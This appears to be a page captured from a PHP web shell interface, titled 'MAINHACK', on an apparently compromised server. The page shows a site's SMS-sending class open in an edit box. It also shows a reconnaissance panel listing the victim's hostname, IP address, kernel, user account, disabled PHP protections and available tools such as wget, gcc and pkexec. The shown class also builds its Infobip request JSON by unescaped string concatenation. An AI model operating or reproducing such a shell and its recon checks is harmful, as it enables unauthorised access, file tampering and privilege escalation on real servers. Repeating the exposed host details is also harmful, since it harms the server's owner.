[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TextMessage.php
<?php namespace App\Utilities; use Textmagic\Services\TextmagicRestClient; use Twilio\Rest\Client; class TextMessage { public function send($to, $message) { if ($to < 8) { return; } if (get_option('sms_gateway') == 'twilio') { $this->twilio($to, $message); } else if (get_option('sms_gateway') == 'textmagic') { $this->textMagic($to, $message); } else if (get_option('sms_gateway') == 'nexmo') { $this->nexmo($to, $message); } else if (get_option('sms_gateway') == 'infobip') { $this->infobip($to, $message); } } public function twilio($to, $message) { $account_sid = get_option('twilio_account_sid'); $auth_token = get_option('twilio_auth_token'); $twilio_number = get_option('twilio_number'); $client = new Client($account_sid, $auth_token); try { $client->messages->create('+' . $to, ['from' => $twilio_number, 'body' => $message]); } catch (\Exception $e) {} } public function textMagic($to, $message) { $text_magic_username = get_option('textmagic_username'); $textmagic_api_key = get_option('textmagic_api_key'); $client = new TextmagicRestClient($text_magic_username, $textmagic_api_key); try { $response = $client->messages->create( array( 'text' => $message, 'phones' => $to, ) ); } catch (\Exception $e) {} } public function nexmo($to, $message) { $nexmo_api_key = get_option('nexmo_api_key'); $nexmo_api_secret = get_option('nexmo_api_secret'); $fromName = get_option('company_name'); $setup = new \Vonage\Client\Credentials\Basic($nexmo_api_key, $nexmo_api_secret); $client = new \Vonage\Client($setup); $response = $client->sms()->send( new \Vonage\SMS\Message\SMS($to, $fromName, $message) ); $message = $response->current(); } public function infobip($to, $message) { $infobip_api_key = get_option('infobip_api_key'); $infobip_api_base_url = get_option('infobip_api_base_url'); $fromName = get_option('company_name'); $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => 'https://' . preg_replace("(^https?://)", "", $infobip_api_base_url) . '/sms/2/text/advanced', CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => '{"messages":[{"destinations":[{"to":"' . $to . '"}],"from":"' . $fromName . '","text":"' . $message . '"}]}', CURLOPT_HTTPHEADER => array( "Authorization: App $infobip_api_key", 'Content-Type: application/json', 'Accept: application/json', ), )); $response = curl_exec($curl); curl_close($curl); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002